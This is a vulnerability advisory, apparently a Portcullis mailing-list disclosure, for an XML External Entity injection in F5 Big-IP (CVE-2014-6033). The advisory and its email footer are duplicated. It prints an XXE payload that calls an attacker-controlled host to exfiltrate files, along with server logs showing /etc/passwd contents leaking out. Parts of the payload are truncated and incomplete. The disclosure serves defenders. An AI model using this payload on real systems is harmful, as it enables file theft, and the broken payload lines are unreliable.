Vulnerability title: XML External Entity Injection in F5 Networks Big-IP
CVE: CVE-2014-6033
Vendor: F5 Networks
Product: Big-IP
Affected version: 11.3.0.39.0
Fixed version: N/A
Reported by: Oliver Gruskovnjak
Details:
F5 Networks Big-IP is vulnerable to an XML External Entity injection attack. The following xml payload was used to trigger the XXE (The vulnerable URL is redacted due to the number of affected systems):
action=write&contents=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://x.x.x.x/xml?f=/etc/
%int;
%trick;]><viewList>
<view id="asd">
<window>
<setting name="x" value="0"/>
<setting name="height" value="256"/>
<setting name="y" value="190"/>
<setting name="typeId" value="BwControlTemplWindow"/>
<setting name="selectedMode" value="Both"/>
<setting name="width" value="508"/>
</window>
<window>
<setting name="x" value="515"/>
<setting name="height" value="256"/>
<setting name="toggleOn" value="true"/>
<setting name="y" value="0"/>
<setting name="typeId" value="MemWindow"/>
<setting name="selectedMode" value="Both"/>
<setting name="width" value="508"/>
<setting name="viewSwitch" value="false"/>
</window>
</view>
</viewList>&name=asdasd
Please note that the payload needs to be completely urlencoded to trigger the vulnerability properly. On the attacking Server the file can be read from web server logs:
10.1.10.10 - - [20/Aug/2014 00:37:18] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128 0.0008
10.1.10.10 - - [20/Aug/2014:00:37:18 PDT] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128
- -> /xml?f=/etc/passwd
10.1.10.10 - - [20/Aug/2014 00:37:18] "GET /?p=root:x:0:0:root:/root:/
5%20remote%20user%20account:/
Further details at:
https://www.portcullis-
Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
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Computer Security Limited, a Private limited company,
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Act under number 02763799. The registered office
address of Portcullis Computer Security Limited is:
Portcullis House, 2 Century Court, Tolpits Lane, Watford,
United Kingdom, WD18 9RS.
The information in this email is confidential and may be
legally privileged. It is intended solely for the addressee.
Any opinions expressed are those of the individual and
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If you are not the intended recipient, any disclosure,
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taken in reliance on it, is prohibited and may be unlawful.
When addressed to our clients any opinions or advice
contained in this email is subject to the terms and
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Security Limited terms of business.
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CVE: CVE-2014-6033
Vendor: F5 Networks
Product: Big-IP
Affected version: 11.3.0.39.0
Fixed version: N/A
Reported by: Oliver Gruskovnjak
Details:
F5 Networks Big-IP is vulnerable to an XML External Entity injection attack. The following xml payload was used to trigger the XXE (The vulnerable URL is redacted due to the number of affected systems):
action=write&contents=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://x.x.x.x/xml?f=/etc/
%int;
%trick;]><viewList>
<view id="asd">
<window>
<setting name="x" value="0"/>
<setting name="height" value="256"/>
<setting name="y" value="190"/>
<setting name="typeId" value="BwControlTemplWindow"/>
<setting name="selectedMode" value="Both"/>
<setting name="width" value="508"/>
</window>
<window>
<setting name="x" value="515"/>
<setting name="height" value="256"/>
<setting name="toggleOn" value="true"/>
<setting name="y" value="0"/>
<setting name="typeId" value="MemWindow"/>
<setting name="selectedMode" value="Both"/>
<setting name="width" value="508"/>
<setting name="viewSwitch" value="false"/>
</window>
</view>
</viewList>&name=asdasd
Please note that the payload needs to be completely urlencoded to trigger the vulnerability properly. On the attacking Server the file can be read from web server logs:
10.1.10.10 - - [20/Aug/2014 00:37:18] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128 0.0008
10.1.10.10 - - [20/Aug/2014:00:37:18 PDT] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128
- -> /xml?f=/etc/passwd
10.1.10.10 - - [20/Aug/2014 00:37:18] "GET /?p=root:x:0:0:root:/root:/
5%20remote%20user%20account:/
Further details at:
https://www.portcullis-
Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
##############################
This email originates from the systems of Portcullis
Computer Security Limited, a Private limited company,
registered in England in accordance with the Companies
Act under number 02763799. The registered office
address of Portcullis Computer Security Limited is:
Portcullis House, 2 Century Court, Tolpits Lane, Watford,
United Kingdom, WD18 9RS.
The information in this email is confidential and may be
legally privileged. It is intended solely for the addressee.
Any opinions expressed are those of the individual and
do not represent the opinion of the organisation. Access
to this email by persons other than the intended recipient
is strictly prohibited.
If you are not the intended recipient, any disclosure,
copying, distribution or other action taken or omitted to be
taken in reliance on it, is prohibited and may be unlawful.
When addressed to our clients any opinions or advice
contained in this email is subject to the terms and
conditions expressed in the applicable Portcullis Computer
Security Limited terms of business.
##############################
##############################
This e-mail message has been scanned for Viruses and Content and cleared
by MailMarshal.
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